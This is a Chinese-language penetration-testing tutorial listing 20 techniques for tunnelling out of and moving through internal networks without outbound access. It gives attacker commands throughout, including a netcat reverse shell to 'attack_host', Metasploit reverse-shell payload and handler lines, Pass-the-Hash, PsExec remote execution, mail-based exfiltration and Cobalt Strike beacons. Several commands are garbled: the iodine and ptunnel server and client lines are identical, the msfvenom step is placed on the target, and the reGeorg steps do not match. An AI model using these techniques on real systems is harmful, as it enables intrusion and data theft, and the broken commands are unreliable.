
渗透测试中,突破内网环境是一项极具挑战性的任务,尤其是当目标主机无法直接访问外部网络时。这种情况下,攻击者需要利用各种技巧和工具,在不直接出网的情况下进行内网渗透。本文将详细介绍20种常见的突破内网不出网的技巧,供参考。
一、基于隧道和代理的突破技巧
(一)端口转发(Port Forwarding)
端口转发是一种常用的技术,可以通过中间主机将流量转发到目标主机或从目标主机引导流量到外部网络。常见的端口转发方式包括:
- 1. 本地端口转发(Local Port Forwarding)
攻击者将目标主机的某些服务通过中间主机转发到攻击者的本地端口,从而像在本地访问这些服务一样。例如,通过SSH端口转发访问目标内网中的数据库服务器:
ssh -L 3306:192.168.1.100:3306 user@middle_host
上述命令将目标主机192.168.1.100的MySQL服务(端口3306)转发到攻击者的本地端口3306。
- 2. 远程端口转发(Remote Port Forwarding)
当目标主机无法主动访问外部网络时,可以通过目标主机将流量反向转发到攻击者的主机。例如:
ssh -R 8080:localhost:80 user@attack_host
上述命令将目标主机的本地HTTP服务(端口80)转发到攻击者的主机端口8080。
(二)代理隧道(Proxy Tunnel)
代理隧道是通过已有的主机或服务绕过网络限制的一种方法。常见的代理隧道工具包括:
- 3. Socks代理
使用工具如proxychains,通过代理服务器将流量转发出去。例如:
proxychains nmap -sT -Pn internal_host
通过proxychains利用代理进行内网主机扫描。
- 4. HTTP代理
通过上传代理脚本到目标服务器,建立代理隧道。例如,reGeorg和Proxifier是常用的代理隧道工具。
(三)DNS隧道(DNS Tunneling)
DNS隧道利用DNS请求在DNS查询中嵌入数据,实现外部通信。即使HTTP、HTTPS等流量被阻止,DNS流量通常不会被完全拦截。常用的DNS隧道工具包括iodine和dnscat2。
- 5. 使用iodine建立DNS隧道
在攻击者主机上运行DNS服务器:
iodine -f -c -P password example.com
在目标主机上运行客户端:
iodine -f -c -P password example.com
通过DNS隧道实现数据传输。
(四)ICMP隧道(ICMP Tunneling)
ICMP隧道利用ICMP流量进行数据传输,绕过防火墙。在某些情况下,即使TCP/UDP流量被封锁,ICMP(如Ping)可能仍然可用。常用的ICMP隧道工具包括Ptunnel和icmpsh。
- 6. 使用Ptunnel建立ICMP隧道
在攻击者主机上运行Ptunnel:
ptunnel -p 80 -lp 22 -da 192.168.1.100 -dp 22
在目标主机上运行客户端:
ptunnel -p 80 -lp 22 -da 192.168.1.100 -dp 22
通过ICMP隧道实现数据传输。
二、基于内网服务的突破技巧
(五)内网横向移动
内网横向移动是通过利用内网中存在的弱口令、未修补漏洞或域账户特权,获取其他内网主机的访问权限。例如:
- 7. 使用PsExec远程执行命令
PsExec.exe \192.168.1.100 -u user -p password cmd.exe
通过PsExec远程执行命令,获取其他内网主机的访问权限。
- 8. Pass-the-Hash攻击
利用已获取的哈希直接认证,绕过密码验证。例如:
pth-winexe -U user%hash //192.168.1.100 cmd.exe
通过pth-winexe工具进行Pass-the-Hash攻击。
(六)利用内网服务
检查目标主机是否有内网的特定服务,如数据库服务、文件共享服务等,可以通过这些服务找到绕过网络限制的途径。
- 9. 利用内网数据库服务
通过内网数据库服务与外部主机通信。例如,利用MySQL的LOAD DATA INFILE功能,将数据写入文件系统,再通过其他方式传输。
- 10. 利用SMB隧道
通过SMB隧道利用内网文件共享服务传输数据。例如:
smbclient //192.168.1.100/share -U user
通过SMB客户端访问内网文件共享服务。
(七)邮件、FTP或其他协议出网
某些内网环境可能封锁了常规的HTTP/HTTPS访问,但仍然允许其他协议(如邮件、FTP)进行外部通信。
- 11. 使用SMTP协议发送电子邮件
通过SMTP协议发送电子邮件将数据发出。例如:
echo "Data to exfiltrate" | mail -s "Subject" user@example.com
通过SMTP协议发送数据。
- 12. 使用FTP上传或下载文件
通过FTP上传或下载文件。例如:
ftp -i 192.168.1.100
put file.txt
通过FTP上传文件。
三、基于反向连接的突破技巧
(八)反向Shell和反向隧道
反向Shell和反向隧道是通过让目标主机发起连接到攻击者主机,建立回连。
- 13. 使用Netcat建立反向Shell
在目标主机上运行:
nc -e /bin/sh attack_host 4444
在攻击者主机上监听:
nc -l -p 4444
通过反向Shell连接到攻击者的主机。
- 14. 使用Metasploit建立反向Shell
在目标主机上运行:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attack_host LPORT=4444 -f exe -o shell.exe
在攻击者主机上运行:
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost attack_host; set lport 4444; run"
通过Metasploit建立反向Shell。
(九)Cobalt Strike的中转功能
Cobalt Strike是内网渗透中常用的工具,其Socks代理功能可以在目标主机不通外网的情况下,通过中转功能建立代理连接。
- 15. 使用Cobalt Strike的Socks代理
在目标主机上运行Beacon,通过Socks代理功能建立代理连接。例如:
socks 8080
在攻击者主机上使用代理工具连接到目标主机。
(十)SMB Beacon
SMB Beacon是Cobalt Strike中的一种特殊功能,通过Windows命名管道进行通信,相对隐蔽。
- 16. 使用SMB Beacon
创建一个SMB的Listener后,可以在主Beacon上链接或断开子Beacon。例如:
beacon> smb 192.168.1.100 445
通过SMB Beacon建立连接。
四、基于工具和脚本的突破技巧
(十一)reGeorg和Neo-reGeorg
reGeorg是一种常用的代理隧道工具,通过上传脚本到目标服务器的网站目录下,建立代理隧道。Neo-reGeorg则在此基础上增加了加密功能,使数据传输更加隐蔽。
- 17. 使用reGeorg建立代理隧道
在目标服务器上上传reGeorg脚本:
curl -o proxy.py http://example.com/reGeorg.py
在攻击者主机上运行代理客户端:
python proxy.py -s http://192.168.1.100/reGeorg.py -l 8080 -r 192.168.1.200:80
通过reGeorg建立代理隧道。
(十二)Pystinger
Pystinger通过WebShell实现内网SOCK4代理,端口映射可以使目标在不出网的情况下上线。
- 18. 使用Pystinger建立代理
将stinger_server.exe上传到目标服务器,并在公网VPS上运行stinger_client,建立代理连接。例如:
python stinger_client.py -s 192.168.1.100 -p 8080 -l 8081
通过Pystinger建立代理连接。
(十三)Frp
Frp是一种内网穿透工具,可以在目标主机不通外网的情况下,通过已控的双网卡内网服务器建立通道。
- 19. 使用Frp建立内网穿透
在目标主机上运行Frp客户端:
./frpc -c frpc.ini
在攻击者主机上运行Frp服务端:
./frps -c frps.ini
通过Frp建立内网穿透。
(十四)其他工具和脚本
除了上述工具外,还有一些其他工具和脚本可以用于突破内网不出网的场景。
- 20. 使用Chisel建立隧道
Chisel是一种轻量级的隧道工具,可以用于内网穿透。例如:
在目标主机上运行:
./chisel client --reverse attack_host:8080 R:8081:localhost:80
在攻击者主机上运行:
./chisel server --port 8080 --reverse
通过Chisel建立隧道。